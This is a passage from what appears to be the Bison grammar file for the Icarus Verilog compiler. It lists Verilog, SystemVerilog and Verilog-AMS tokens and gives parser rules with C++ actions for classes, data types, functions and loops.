%token K_force K_forever K_fork K_function K_highz0 K_highz1 K_if
%token K_ifnone K_initial K_inout K_input K_integer K_join K_large
%token K_macromodule K_medium K_module K_nand K_negedge K_nmos K_nor
%token K_not K_notif0 K_notif1 K_or K_output K_parameter K_pmos K_posedge
%token K_primitive K_pull0 K_pull1 K_pulldown K_pullup K_rcmos K_real
%token K_realtime K_reg K_release K_repeat K_rnmos K_rpmos K_rtran
%token K_rtranif0 K_rtranif1 K_scalared K_small K_specify K_specparam
%token K_strong0 K_strong1 K_supply0 K_supply1 K_table K_task K_time
%token K_tran K_tranif0 K_tranif1 K_tri K_tri0 K_tri1 K_triand K_trior
%token K_trireg K_vectored K_wait K_wand K_weak0 K_weak1 K_while K_wire
%token K_wor K_xnor K_xor
%token K_Shold K_Snochange K_Speriod K_Srecovery K_Ssetup K_Ssetuphold
%token K_Sskew K_Swidth
/* Icarus specific tokens. */
%token KK_attribute K_bool K_logic
/* The new tokens from 1364-2001. */
%token K_automatic K_endgenerate K_generate K_genvar K_localparam
%token K_noshowcancelled K_pulsestyle_onevent K_pulsestyle_ondetect
%token K_showcancelled K_signed K_unsigned
%token K_Sfullskew K_Srecrem K_Sremoval K_Stimeskew
/* The 1364-2001 configuration tokens. */
%token K_cell K_config K_design K_endconfig K_incdir K_include K_instance
%token K_liblist K_library K_use
/* The new tokens from 1364-2005. */
%token K_wone K_uwire
/* The new tokens from 1800-2005. */
%token K_alias K_always_comb K_always_ff K_always_latch K_assert
%token K_assume K_before K_bind K_bins K_binsof K_bit K_break K_byte
%token K_chandle K_class K_clocking K_const K_constraint K_context
%token K_continue K_cover K_covergroup K_coverpoint K_cross K_dist K_do
%token K_endclass K_endclocking K_endgroup K_endinterface K_endpackage
%token K_endprogram K_endproperty K_endsequence K_enum K_expect K_export
%token K_extends K_extern K_final K_first_match K_foreach K_forkjoin
%token K_iff K_ignore_bins K_illegal_bins K_import K_inside K_int
/* Icarus already has defined "logic" above! */
%token K_interface K_intersect K_join_any K_join_none K_local
%token K_longint K_matches K_modport K_new K_null K_package K_packed
%token K_priority K_program K_property K_protected K_pure K_rand K_randc
%token K_randcase K_randsequence K_ref K_return K_sequence K_shortint
%token K_shortreal K_solve K_static K_string K_struct K_super
%token K_tagged K_this K_throughout K_timeprecision K_timeunit K_type
%token K_typedef K_union K_unique K_var K_virtual K_void K_wait_order
%token K_wildcard K_with K_within
/* Fake tokens that are passed once we have an initial token. */
%token K_timeprecision_check K_timeunit_check
/* The new tokens from 1800-2009. */
%token K_accept_on K_checker K_endchecker K_eventually K_global K_implies
%token K_let K_nexttime K_reject_on K_restrict K_s_always K_s_eventually
%token K_s_nexttime K_s_until K_s_until_with K_strong K_sync_accept_on
%token K_sync_reject_on K_unique0 K_until K_until_with K_untyped K_weak
/* The new tokens from 1800-2012. */
%token K_implements K_interconnect K_nettype K_soft
/* The new tokens for Verilog-AMS 2.3. */
%token K_above K_abs K_absdelay K_abstol K_access K_acos K_acosh
/* 1800-2005 has defined "assert" above! */
%token K_ac_stim K_aliasparam K_analog K_analysis K_asin K_asinh
%token K_atan K_atan2 K_atanh K_branch K_ceil K_connect K_connectmodule
%token K_connectrules K_continuous K_cos K_cosh K_ddt K_ddt_nature K_ddx
%token K_discipline K_discrete K_domain K_driver_update K_endconnectrules
%token K_enddiscipline K_endnature K_endparamset K_exclude K_exp
%token K_final_step K_flicker_noise K_floor K_flow K_from K_ground
%token K_hypot K_idt K_idtmod K_idt_nature K_inf K_initial_step
%token K_laplace_nd K_laplace_np K_laplace_zd K_laplace_zp
%token K_last_crossing K_limexp K_ln K_log K_max K_merged K_min K_nature
%token K_net_resolution K_noise_table K_paramset K_potential K_pow
/* 1800-2005 has defined "string" above! */
%token K_resolveto K_sin K_sinh K_slew K_split K_sqrt K_tan K_tanh
%token K_timer K_transition K_units K_white_noise K_wreal
%token K_zi_nd K_zi_np K_zi_zd K_zi_zp
%type <flag> from_exclude block_item_decls_opt
%type <number> number pos_neg_number
%type <flag> signing unsigned_signed_opt signed_unsigned_opt
%type <flag> import_export
%type <flag> K_packed_opt K_reg_opt K_static_opt K_virtual_opt
%type <flag> udp_reg_opt edge_operator
%type <drive> drive_strength drive_strength_opt dr_strength0 dr_strength1
%type <letter> udp_input_sym udp_output_sym
%type <text> udp_input_list udp_sequ_entry udp_comb_entry
%type <perm_strings> udp_input_declaration_list
%type <strings> udp_entry_list udp_comb_entry_list udp_sequ_entry_list
%type <strings> udp_body
%type <perm_strings> udp_port_list
%type <wires> udp_port_decl udp_port_decls
%type <statement> udp_initial udp_init_opt
%type <expr> udp_initial_expr_opt
%type <text> register_variable net_variable event_variable endlabel_opt class_declaration_endlabel_opt
%type <perm_strings> register_variable_list net_variable_list event_variable_list
%type <perm_strings> list_of_identifiers loop_variables
%type <port_list> list_of_port_identifiers list_of_variable_port_identifiers
%type <net_decl_assign> net_decl_assign net_decl_assigns
%type <mport> port port_opt port_reference port_reference_list
%type <mport> port_declaration
%type <mports> list_of_ports module_port_list_opt list_of_port_declarations module_attribute_foreign
%type <value_range> parameter_value_range parameter_value_ranges
%type <value_range> parameter_value_ranges_opt
%type <expr> tf_port_item_expr_opt value_range_expression
%type <named_pexprs> enum_name_list enum_name
%type <enum_type> enum_data_type
%type <tf_ports> function_item function_item_list function_item_list_opt
%type <tf_ports> task_item task_item_list task_item_list_opt
%type <tf_ports> tf_port_declaration tf_port_item tf_port_list tf_port_list_opt
%type <named_pexpr> modport_simple_port port_name parameter_value_byname
%type <named_pexprs> port_name_list parameter_value_byname_list
%type <named_pexpr> attribute
%type <named_pexprs> attribute_list attribute_instance_list attribute_list_opt
%type <citem> case_item
%type <citems> case_items
%type <gate> gate_instance
%type <gates> gate_instance_list
%type <pform_name> hierarchy_identifier implicit_class_handle
%type <expr> assignment_pattern expression expr_mintypmax
%type <expr> expr_primary_or_typename expr_primary
%type <expr> class_new dynamic_array_new
%type <expr> inc_or_dec_expression inside_expression lpvalue
%type <expr> branch_probe_expression streaming_concatenation
%type <expr> delay_value delay_value_simple
%type <exprs> delay1 delay3 delay3_opt delay_value_list
%type <exprs> expression_list_with_nuls expression_list_proper
%type <exprs> cont_assign cont_assign_list
%type <decl_assignment> variable_decl_assignment
%type <decl_assignments> list_of_variable_decl_assignments
%type <data_type> data_type data_type_or_implicit data_type_or_implicit_or_void
%type <class_type> class_identifier
%type <struct_member> struct_union_member
%type <struct_members> struct_union_member_list
%type <struct_type> struct_data_type
%type <class_declaration_extends> class_declaration_extends_opt
%type <property_qualifier> class_item_qualifier property_qualifier
%type <property_qualifier> class_item_qualifier_list property_qualifier_list
%type <property_qualifier> class_item_qualifier_opt property_qualifier_opt
%type <property_qualifier> random_qualifier
%type <ranges> variable_dimension
%type <ranges> dimensions_opt dimensions
%type <nettype> net_type net_type_opt
%type <gatetype> gatetype switchtype
%type <porttype> port_direction port_direction_opt
%type <vartype> bit_logic bit_logic_opt
%type <vartype> integer_vector_type
%type <parmvalue> parameter_value_opt
%type <event_expr> event_expression_list
%type <event_expr> event_expression
%type <event_statement> event_control
%type <statement> statement statement_item statement_or_null
%type <statement> compressed_statement
%type <statement> loop_statement for_step jump_statement
%type <statement> procedural_assertion_statement
%type <statement_list> statement_or_null_list statement_or_null_list_opt
%type <statement> analog_statement
%type <join_keyword> join_keyword
%type <letter> spec_polarity
%type <perm_strings> specify_path_identifiers
%type <specpath> specify_simple_path specify_simple_path_decl
%type <specpath> specify_edge_path specify_edge_path_decl
%type <real_type> non_integer_type
%type <int_val> atom2_type
%type <int_val> module_start module_end
%type <lifetime> lifetime lifetime_opt
%token K_TAND
%right K_PLUS_EQ K_MINUS_EQ K_MUL_EQ K_DIV_EQ K_MOD_EQ K_AND_EQ K_OR_EQ
%right K_XOR_EQ K_LS_EQ K_RS_EQ K_RSS_EQ
%right '?' ':' K_inside
%left K_LOR
%left K_LAND
%left '|'
%left '^' K_NXOR K_NOR
%left '&' K_NAND
%left K_EQ K_NE K_CEQ K_CNE
%left K_GE K_LE '<' '>'
%left K_LS K_RS K_RSS
%left '+' '-'
%left '*' '/' '%'
%left K_POW
%left UNARY_PREC
/* to resolve dangling else ambiguity. */
%nonassoc less_than_K_else
%nonassoc K_else
/* to resolve exclude (... ambiguity */
%nonassoc '('
%nonassoc K_exclude
%%
/* IEEE1800-2005: A.1.2 */
/* source_text ::= [ timeunits_declaration ] { description } */
source_text : description_list | ;
assertion_item /* IEEE1800-2012: A.6.10 */
: concurrent_assertion_item
;
assignment_pattern /* IEEE1800-2005: A.6.7.1 */
: K_LP expression_list_proper '}'
{ PEAssignPattern*tmp = new PEAssignPattern(*$2);
FILE_NAME(tmp, @1);
delete $2;
$$ = tmp;
}
| K_LP '}'
{ PEAssignPattern*tmp = new PEAssignPattern;
FILE_NAME(tmp, @1);
$$ = tmp;
}
;
/* Some rules have a ... [ block_identifier ':' ] ... part. This
implements it in a LALR way. */
block_identifier_opt /* */
: IDENTIFIER ':'
|
;
class_declaration /* IEEE1800-2005: A.1.2 */
: K_virtual_opt K_class lifetime_opt class_identifier class_declaration_extends_opt ';'
{ pform_start_class_declaration(@2, $4, $5.type, $5.exprs, $3); }
class_items_opt K_endclass
{ // Process a class.
pform_end_class_declaration(@9);
}
class_declaration_endlabel_opt
{ // Wrap up the class.
if ($11 && $4 && $4->name != $11) {
yyerror(@11, "error: Class end label doesn't match class name.");
delete[]$11;
}
}
;
class_constraint /* IEEE1800-2005: A.1.8 */
: constraint_prototype
| constraint_declaration
;
class_identifier
: IDENTIFIER
{ // Create a synthetic typedef for the class name so that the
// lexor detects the name as a type.
perm_string name = lex_strings.make($1);
class_type_t*tmp = new class_type_t(name);
FILE_NAME(tmp, @1);
pform_set_typedef(name, tmp, NULL);
delete[]$1;
$$ = tmp;
}
| TYPE_IDENTIFIER
{ class_type_t*tmp = dynamic_cast<class_type_t*>($1.type);
if (tmp == 0) {
yyerror(@1, "Type name \"%s\"is not a predeclared class name.", $1.text);
}
delete[]$1.text;
$$ = tmp;
}
;
/* The endlabel after a class declaration is a little tricky because
the class name is detected by the lexor as a TYPE_IDENTIFIER if it
does indeed match a name. */
class_declaration_endlabel_opt
: ':' TYPE_IDENTIFIER
{ class_type_t*tmp = dynamic_cast<class_type_t*> ($2.type);
if (tmp == 0) {
yyerror(@2, "error: class declaration endlabel \"%s\" is not a class name\n", $2.text);
$$ = 0;
} else {
$$ = strdupnew(tmp->name.str());
}
delete[]$2.text;
}
| ':' IDENTIFIER
{ $$ = $2; }
|
{ $$ = 0; }
;
/* This rule implements [ extends class_type ] in the
class_declaration. It is not a rule of its own in the LRM.
Note that for this to be correct, the identifier after the
extends keyword must be a class name. Therefore, match
TYPE_IDENTIFIER instead of IDENTIFIER, and this rule will return
a data_type. */
class_declaration_extends_opt /* IEEE1800-2005: A.1.2 */
: K_extends TYPE_IDENTIFIER
{ $$.type = $2.type;
$$.exprs= 0;
delete[]$2.text;
}
| K_extends TYPE_IDENTIFIER '(' expression_list_with_nuls ')'
{ $$.type = $2.type;
$$.exprs = $4;
delete[]$2.text;
}
|
{ $$.type = 0; $$.exprs = 0; }
;
/* The class_items_opt and class_items rules together implement the
rule snippet { class_item } (zero or more class_item) of the
class_declaration. */
class_items_opt /* IEEE1800-2005: A.1.2 */
: class_items
|
;
class_items /* IEEE1800-2005: A.1.2 */
: class_items class_item
| class_item
;
class_item /* IEEE1800-2005: A.1.8 */
/* IEEE1800 A.1.8: class_constructor_declaration */
: method_qualifier_opt K_function K_new
{ assert(current_function==0);
current_function = pform_push_constructor_scope(@3);
}
'(' tf_port_list_opt ')' ';'
function_item_list_opt
statement_or_null_list_opt
K_endfunction endnew_opt
{ current_function->set_ports($6);
pform_set_constructor_return(current_function);
pform_set_this_class(@3, current_function);
current_function_set_statement(@3, $10);
pform_pop_scope();
current_function = 0;
}
/* Class properties... */
| property_qualifier_opt data_type list_of_variable_decl_assignments ';'
{ pform_class_property(@2, $1, $2, $3); }
| K_const class_item_qualifier_opt data_type list_of_variable_decl_assignments ';'
{ pform_class_property(@1, $2 | property_qualifier_t::make_const(), $3, $4); }
/* Class methods... */
| method_qualifier_opt task_declaration
{ /* The task_declaration rule puts this into the class */ }
| method_qualifier_opt function_declaration
{ /* The function_declaration rule puts this into the class */ }
/* External class method definitions... */
| K_extern method_qualifier_opt K_function K_new ';'
{ yyerror(@1, "sorry: External constructors are not yet supported."); }
| K_extern method_qualifier_opt K_function K_new '(' tf_port_list_opt ')' ';'
{ yyerror(@1, "sorry: External constructors are not yet supported."); }
| K_extern method_qualifier_opt K_function data_type_or_implicit_or_void
IDENTIFIER ';'
{ yyerror(@1, "sorry: External methods are not yet supported.");
delete[] $5;
}
| K_extern method_qualifier_opt K_function data_type_or_implicit_or_void
IDENTIFIER '(' tf_port_list_opt ')' ';'
{ yyerror(@1, "sorry: External methods are not yet supported.");
delete[] $5;
}
| K_extern method_qualifier_opt K_task IDENTIFIER ';'
{ yyerror(@1, "sorry: External methods are not yet supported.");
delete[] $4;
}
| K_extern method_qualifier_opt K_task IDENTIFIER '(' tf_port_list_opt ')' ';'
{ yyerror(@1, "sorry: External methods are not yet supported.");
delete[] $4;
}
/* Class constraints... */
| class_constraint
/* Here are some error matching rules to help recover from various
syntax errors within a class declaration. */
| property_qualifier_opt data_type error ';'
{ yyerror(@3, "error: Errors in variable names after data type.");
yyerrok;
}
| property_qualifier_opt IDENTIFIER error ';'
{ yyerror(@3, "error: %s doesn't name a type.", $2);
yyerrok;
}
| method_qualifier_opt K_function K_new error K_endfunction endnew_opt
{ yyerror(@1, "error: I give up on this class constructor declaration.");
yyerrok;
}
| error ';'
{ yyerror(@2, "error: invalid class item.");
yyerrok;
}
;
class_item_qualifier /* IEEE1800-2005 A.1.8 */
: K_static { $$ = property_qualifier_t::make_static(); }
| K_protected { $$ = property_qualifier_t::make_protected(); }
| K_local { $$ = property_qualifier_t::make_local(); }
;
class_item_qualifier_list
: class_item_qualifier_list class_item_qualifier { $$ = $1 | $2; }
| class_item_qualifier { $$ = $1; }
;
class_item_qualifier_opt
: class_item_qualifier_list { $$ = $1; }
| { $$ = property_qualifier_t::make_none(); }
;
class_new /* IEEE1800-2005 A.2.4 */
: K_new '(' expression_list_with_nuls ')'
{ list<PExpr*>*expr_list = $3;
strip_tail_items(expr_list);
PENewClass*tmp = new PENewClass(*expr_list);
FILE_NAME(tmp, @1);
delete $3;
$$ = tmp;
}
| K_new hierarchy_identifier
{ PEIdent*tmpi = new PEIdent(*$2);
FILE_NAME(tmpi, @2);
PENewCopy*tmp = new PENewCopy(tmpi);
FILE_NAME(tmp, @1);
delete $2;
$$ = tmp;
}
| K_new
{ PENewClass*tmp = new PENewClass;
FILE_NAME(tmp, @1);
$$ = tmp;
}
;
/* The concurrent_assertion_item pulls together the
concurrent_assertion_statement and checker_instantiation rules. */
concurrent_assertion_item /* IEEE1800-2012 A.2.10 */
: block_identifier_opt K_assert K_property '(' property_spec ')' statement_or_null
{ /* */
if (gn_assertions_flag) {
yyerror(@2, "sorry: concurrent_assertion_item not supported."
" Try -gno-assertion to turn this message off.");
}
}
| block_identifier_opt K_assert K_property '(' error ')' statement_or_null
{ yyerrok;
yyerror(@2, "error: Error in property_spec of concurrent assertion item.");
}
;
constraint_block_item /* IEEE1800-2005 A.1.9 */
: constraint_expression
;
constraint_block_item_list
: constraint_block_item_list constraint_block_item
| constraint_block_item
;
constraint_block_item_list_opt
:
| constraint_block_item_list
;
constraint_declaration /* IEEE1800-2005: A.1.9 */
: K_static_opt K_constraint IDENTIFIER '{' constraint_block_item_list_opt '}'
{ yyerror(@2, "sorry: Constraint declarations not supported."); }
/* Error handling rules... */
| K_static_opt K_constraint IDENTIFIER '{' error '}'
{ yyerror(@4, "error: Errors in the constraint block item list."); }
;
constraint_expression /* IEEE1800-2005 A.1.9 */
: expression ';'
| expression K_dist '{' '}' ';'
| expression K_TRIGGER constraint_set
| K_if '(' expression ')' constraint_set %prec less_than_K_else
| K_if '(' expression ')' constraint_set K_else constraint_set
| K_foreach '(' IDENTIFIER '[' loop_variables ']' ')' constraint_set
;
constraint_expression_list /* */
: constraint_expression_list constraint_expression
| constraint_expression
;
constraint_prototype /* IEEE1800-2005: A.1.9 */
: K_static_opt K_constraint IDENTIFIER ';'
{ yyerror(@2, "sorry: Constraint prototypes not supported."); }
;
constraint_set /* IEEE1800-2005 A.1.9 */
: constraint_expression
| '{' constraint_expression_list '}'
;
data_declaration /* IEEE1800-2005: A.2.1.3 */
: attribute_list_opt data_type_or_implicit list_of_variable_decl_assignments ';'
{ data_type_t*data_type = $2;
if (data_type == 0) {
data_type = new vector_type_t(IVL_VT_LOGIC, false, 0);
FILE_NAME(data_type, @2);
}
pform_makewire(@2, 0, str_strength, $3, NetNet::IMPLICIT_REG, data_type);
}
;
data_type /* IEEE1800-2005: A.2.2.1 */
: integer_vector_type unsigned_signed_opt dimensions_opt
{ ivl_variable_type_t use_vtype = $1;
bool reg_flag = false;
if (use_vtype == IVL_VT_NO_TYPE) {
use_vtype = IVL_VT_LOGIC;
reg_flag = true;
}
vector_type_t*tmp = new vector_type_t(use_vtype, $2, $3);
tmp->reg_flag = reg_flag;
FILE_NAME(tmp, @1);
$$ = tmp;
}
| non_integer_type
{ real_type_t*tmp = new real_type_t($1);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| struct_data_type
{ if (!$1->packed_flag) {
yyerror(@1, "sorry: Unpacked structs not supported.");
}
$$ = $1;
}
| enum_data_type
{ $$ = $1; }
| atom2_type signed_unsigned_opt
{ atom2_type_t*tmp = new atom2_type_t($1, $2);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| K_integer signed_unsigned_opt
{ list<pform_range_t>*pd = make_range_from_width(integer_width);
vector_type_t*tmp = new vector_type_t(IVL_VT_LOGIC, $2, pd);
tmp->reg_flag = true;
tmp->integer_flag = true;
$$ = tmp;
}
| K_time
{ list<pform_range_t>*pd = make_range_from_width(64);
vector_type_t*tmp = new vector_type_t(IVL_VT_LOGIC, false, pd);
tmp->reg_flag = !gn_system_verilog();
$$ = tmp;
}
| TYPE_IDENTIFIER dimensions_opt
{ if ($2) {
parray_type_t*tmp = new parray_type_t($1.type, $2);
FILE_NAME(tmp, @1);
$$ = tmp;
} else $$ = $1.type;
delete[]$1.text;
}
| PACKAGE_IDENTIFIER K_SCOPE_RES
{ lex_in_package_scope($1); }
TYPE_IDENTIFIER
{ lex_in_package_scope(0);
$$ = $4.type;
delete[]$4.text;
}
| K_string
{ string_type_t*tmp = new string_type_t;
FILE_NAME(tmp, @1);
$$ = tmp;
}
;
/* The data_type_or_implicit rule is a little more complex then the
rule documented in the IEEE format syntax in order to allow for
signaling the special case that the data_type is completely
absent. The context may need that information to decide to resort
to left context. */
data_type_or_implicit /* IEEE1800-2005: A.2.2.1 */
: data_type
{ $$ = $1; }
| signing dimensions_opt
{ vector_type_t*tmp = new vector_type_t(IVL_VT_LOGIC, $1, $2);
tmp->implicit_flag = true;
FILE_NAME(tmp, @1);
$$ = tmp;
}
| dimensions
{ vector_type_t*tmp = new vector_type_t(IVL_VT_LOGIC, false, $1);
tmp->implicit_flag = true;
FILE_NAME(tmp, @1);
$$ = tmp;
}
|
{ $$ = 0; }
;
data_type_or_implicit_or_void
: data_type_or_implicit
{ $$ = $1; }
| K_void
{ void_type_t*tmp = new void_type_t;
FILE_NAME(tmp, @1);
$$ = tmp;
}
;
/* NOTE 1: We pull the "timeunits_declaration" into the description
here in order to be a little more flexible with where timeunits
statements may go. This may be a bad idea, but it is legacy now. */
/* NOTE 2: The "module" rule of the description combines the
module_declaration, program_declaration, and interface_declaration
rules from the standard description. */
description /* IEEE1800-2005: A.1.2 */
: module
| udp_primitive
| config_declaration
| nature_declaration
| package_declaration
| discipline_declaration
| package_item
| KK_attribute '(' IDENTIFIER ',' STRING ',' STRING ')'
{ perm_string tmp3 = lex_strings.make($3);
pform_set_type_attrib(tmp3, $5, $7);
delete[] $3;
delete[] $5;
}
;
description_list
: description
| description_list description
;
/* This implements the [ : IDENTIFIER ] part of the constructor
rule documented in IEEE1800-2005: A.1.8 */
endnew_opt : ':' K_new | ;
/* The dynamic_array_new rule is kinda like an expression, but it is
treated differently by rules that use this "expression". Watch out! */
dynamic_array_new /* IEEE1800-2005: A.2.4 */
: K_new '[' expression ']'
{ $$ = new PENewArray($3, 0);
FILE_NAME($$, @1);
}
| K_new '[' expression ']' '(' expression ')'
{ $$ = new PENewArray($3, $6);
FILE_NAME($$, @1);
}
;
for_step /* IEEE1800-2005: A.6.8 */
: lpvalue '=' expression
{ PAssign*tmp = new PAssign($1,$3);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| inc_or_dec_expression
{ $$ = pform_compressed_assign_from_inc_dec(@1, $1); }
| compressed_statement
{ $$ = $1; }
;
/* The function declaration rule matches the function declaration
header, then pushes the function scope. This causes the
definitions in the func_body to take on the scope of the function
instead of the module. */
function_declaration /* IEEE1800-2005: A.2.6 */
: K_function lifetime_opt data_type_or_implicit_or_void IDENTIFIER ';'
{ assert(current_function == 0);
current_function = pform_push_function_scope(@1, $4, $2);
}
function_item_list statement_or_null_list_opt
K_endfunction
{ current_function->set_ports($7);
current_function->set_return($3);
current_function_set_statement($8? @8 : @4, $8);
pform_set_this_class(@4, current_function);
pform_pop_scope();
current_function = 0;
}
endlabel_opt
{ // Last step: check any closing name.
if ($11) {
if (strcmp($4,$11) != 0) {
yyerror(@11, "error: End label doesn't match "
"function name");
}
if (! gn_system_verilog()) {
yyerror(@11, "error: Function end labels require "
"SystemVerilog.");
}
delete[]$11;
}
delete[]$4;
}
| K_function lifetime_opt data_type_or_implicit_or_void IDENTIFIER
{ assert(current_function == 0);
current_function = pform_push_function_scope(@1, $4, $2);
}
'(' tf_port_list_opt ')' ';'
block_item_decls_opt
statement_or_null_list_opt
K_endfunction
{ current_function->set_ports($7);
current_function->set_return($3);
current_function_set_statement($11? @11 : @4, $11);
pform_set_this_class(@4, current_function);
pform_pop_scope();
current_function = 0;
if ($7==0 && !gn_system_verilog()) {
yyerror(@4, "error: Empty parenthesis syntax requires SystemVerilog.");
}
}
endlabel_opt
{ // Last step: check any closing name.
if ($14) {
if (strcmp($4,$14) != 0) {
yyerror(@14, "error: End label doesn't match "
"function name");
}
if (! gn_system_verilog()) {
yyerror(@14, "error: Function end labels require "
"SystemVerilog.");
}
delete[]$14;
}
delete[]$4;
}
/* Detect and recover from some errors. */
| K_function lifetime_opt data_type_or_implicit_or_void IDENTIFIER error K_endfunction
{ /* */
if (current_function) {
pform_pop_scope();
current_function = 0;
}
assert(current_function == 0);
yyerror(@1, "error: Syntax error defining function.");
yyerrok;
}
endlabel_opt
{ // Last step: check any closing name.
if ($8) {
if (strcmp($4,$8) != 0) {
yyerror(@8, "error: End label doesn't match function name");
}
if (! gn_system_verilog()) {
yyerror(@8, "error: Function end labels require "
"SystemVerilog.");
}
delete[]$8;
}
delete[]$4;
}
;
import_export /* IEEE1800-2012: A.2.9 */
: K_import { $$ = true; }
| K_export { $$ = false; }
;
implicit_class_handle /* IEEE1800-2005: A.8.4 */
: K_this { $$ = pform_create_this(); }
| K_super { $$ = pform_create_super(); }
;
/* SystemVerilog adds support for the increment/decrement
expressions, which look like a++, --a, etc. These are primaries
but are in their own rules because they can also be
statements. Note that the operator can only take l-value
expressions. */
inc_or_dec_expression /* IEEE1800-2005: A.4.3 */
: K_INCR lpvalue %prec UNARY_PREC
{ PEUnary*tmp = new PEUnary('I', $2);
FILE_NAME(tmp, @2);
$$ = tmp;
}
| lpvalue K_INCR %prec UNARY_PREC
{ PEUnary*tmp = new PEUnary('i', $1);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| K_DECR lpvalue %prec UNARY_PREC
{ PEUnary*tmp = new PEUnary('D', $2);
FILE_NAME(tmp, @2);
$$ = tmp;
}
| lpvalue K_DECR %prec UNARY_PREC
{ PEUnary*tmp = new PEUnary('d', $1);
FILE_NAME(tmp, @1);
$$ = tmp;
}
;
inside_expression /* IEEE1800-2005 A.8.3 */
: expression K_inside '{' open_range_list '}'
{ yyerror(@2, "sorry: \"inside\" expressions not supported yet.");
$$ = 0;
}
;
integer_vector_type /* IEEE1800-2005: A.2.2.1 */
: K_reg { $$ = IVL_VT_NO_TYPE; } /* Usually a synonym for logic. */
| K_bit { $$ = IVL_VT_BOOL; }
| K_logic { $$ = IVL_VT_LOGIC; }
| K_bool { $$ = IVL_VT_BOOL; } /* Icarus Verilog xtypes extension */
;
join_keyword /* IEEE1800-2005: A.6.3 */
: K_join
{ $$ = PBlock::BL_PAR; }
| K_join_none
{ $$ = PBlock::BL_JOIN_NONE; }
| K_join_any
{ $$ = PBlock::BL_JOIN_ANY; }
;
jump_statement /* IEEE1800-2005: A.6.5 */
: K_break ';'
{ yyerror(@1, "sorry: break statements not supported.");
$$ = 0;
}
| K_return ';'
{ PReturn*tmp = new PReturn(0);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| K_return expression ';'
{ PReturn*tmp = new PReturn($2);
FILE_NAME(tmp, @1);
$$ = tmp;
}
;
lifetime /* IEEE1800-2005: A.2.1.3 */
: K_automatic { $$ = LexicalScope::AUTOMATIC; }
| K_static { $$ = LexicalScope::STATIC; }
;
lifetime_opt /* IEEE1800-2005: A.2.1.3 */
: lifetime { $$ = $1; }
| { $$ = LexicalScope::INHERITED; }
;
/* Loop statements are kinds of statements. */
loop_statement /* IEEE1800-2005: A.6.8 */
: K_for '(' lpvalue '=' expression ';' expression ';' for_step ')'
statement_or_null
{ PForStatement*tmp = new PForStatement($3, $5, $7, $9, $11);
FILE_NAME(tmp, @1);
$$ = tmp;
}
// Handle for_variable_declaration syntax by wrapping the for(...)
// statement in a synthetic named block. We can name the block
// after the variable that we are creating, that identifier is
// safe in the controlling scope.
| K_for '(' data_type IDENTIFIER '=' expression ';' expression ';' for_step ')'
{ static unsigned for_counter = 0;
char for_block_name [64];
snprintf(for_block_name, sizeof for_block_name, "$ivl_for_loop%u", for_counter);
for_counter += 1;
PBlock*tmp = pform_push_block_scope(for_block_name, PBlock::BL_SEQ);
FILE_NAME(tmp, @1);
current_block_stack.push(tmp);
list<decl_assignment_t*>assign_list;
decl_assignment_t*tmp_assign = new decl_assignment_t;
tmp_assign->name = lex_strings.make($4);
assign_list.push_back(tmp_assign);
pform_makewire(@4, 0, str_strength, &assign_list, NetNet::REG, $3);
}
statement_or_null
{ pform_name_t tmp_hident;
tmp_hident.push_back(name_component_t(lex_strings.make($4)));
PEIdent*tmp_ident = pform_new_ident(tmp_hident);
FILE_NAME(tmp_ident, @4);
PForStatement*tmp_for = new PForStatement(tmp_ident, $6, $8, $10, $13);
FILE_NAME(tmp_for, @1);
pform_pop_scope();
vector<Statement*>tmp_for_list (1);
tmp_for_list[0] = tmp_for;
PBlock*tmp_blk = current_block_stack.top();
current_block_stack.pop();
tmp_blk->set_statement(tmp_for_list);
$$ = tmp_blk;
delete[]$4;
}
| K_forever statement_or_null
{ PForever*tmp = new PForever($2);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| K_repeat '(' expression ')' statement_or_null
{ PRepeat*tmp = new PRepeat($3, $5);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| K_while '(' expression ')' statement_or_null
{ PWhile*tmp = new PWhile($3, $5);
FILE_NAME(tmp, @1);
$$ = tmp;
}
| K_do statement_or_null K_while '(' expression ')' ';'
{ PDoWhile*tmp = new PDoWhile($5, $2);
FILE_NAME(tmp, @1);
$$ = tmp;
}
// When matching a foreach loop, implicitly create a named block
// to hold the definitions for the index variables.
| K_foreach '(' IDENTIFIER '[' loop_variables ']' ')'
{ static unsigned foreach_counter = 0;
char for_block_name[64];
snprintf(for_block_name, sizeof for_block_name, "$ivl_foreach%u", foreach_counter);
foreach_counter += 1;
PBlock*tmp = pform_push_block_scope(for_block_name, PBlock::BL_SEQ);
FILE_NAME(tmp, @1);
current_block_stack.push(tmp);
pform_make_foreach_declarations(@1, $5);
}
statement_or_null
{ PForeach*tmp_for = pform_make_foreach(@1, $3, $5, $9);
pform_pop_scope();
vector<Statement*>tmp_for_list(1);
tmp_for_list[0] = tmp_for;
PBlock*tmp_blk = current_block_stack.top();
current_block_stack.pop();
tmp_blk->set_statement(tmp_for_list);
$$ = tmp_blk;
}
/* Error forms for loop statements. */
| K_for '(' lpvalue '=' expression ';' expression ';' error ')'
statement_or_null
{ $$ = 0;
yyerror(@1, "error: Error in for loop step assignment.");
}
| K_for '(' lpvalue '=' expression ';' error ';' for_step ')'
statement_or_null
{ $$ = 0;
yyerror(@1, "error: Error in for loop condition expression.");
}
| K_for '(' error ')' statement_or_null
{ $$ = 0;
yyerror(@1, "error: Incomprehensible for loop.");
}
| K_while '(' error ')' statement_or_null
{ $$ = 0;
yyerror(@1, "error: Error in while loop condition.");
}
| K_do statement_or_null K_while '(' error ')' ';'
{ $$ = 0;
yyerror(@1, "error: Error in do/while loop condition.");
}
| K_foreach '(' IDENTIFIER '[' error ']' ')' statement_or_null
{ $$ = 0;
yyerror(@4, "error: Errors in foreach loop variables list.");
}
;
/* TODO: Replace register_variable_list with list_of_variable_decl_assignments. */
list_of_variable_decl_assignments /* IEEE1800-2005 A.2.3 */
: variable_decl_assignment
{ list<decl_assignment_t*>*tmp = new list<decl_assignment_t*>;
tmp->push_back($1);
$$ = tmp;
}
| list_of_variable_decl_assignments ',' variable_decl_assignment
{ list<decl_assignment_t*>*tmp = $1;
tmp->push_back($3);
$$ = tmp;
}
;
variable_decl_assignment /* IEEE1800-2005 A.2.3 */
: IDENTIFIER dimensions_opt
{ decl_assignment_t*tmp = new decl_assignment_t;
tmp->name = lex_strings.make($1);
if ($2) {
tmp->index = *$2;
delete $2;
}
delete[]$1;
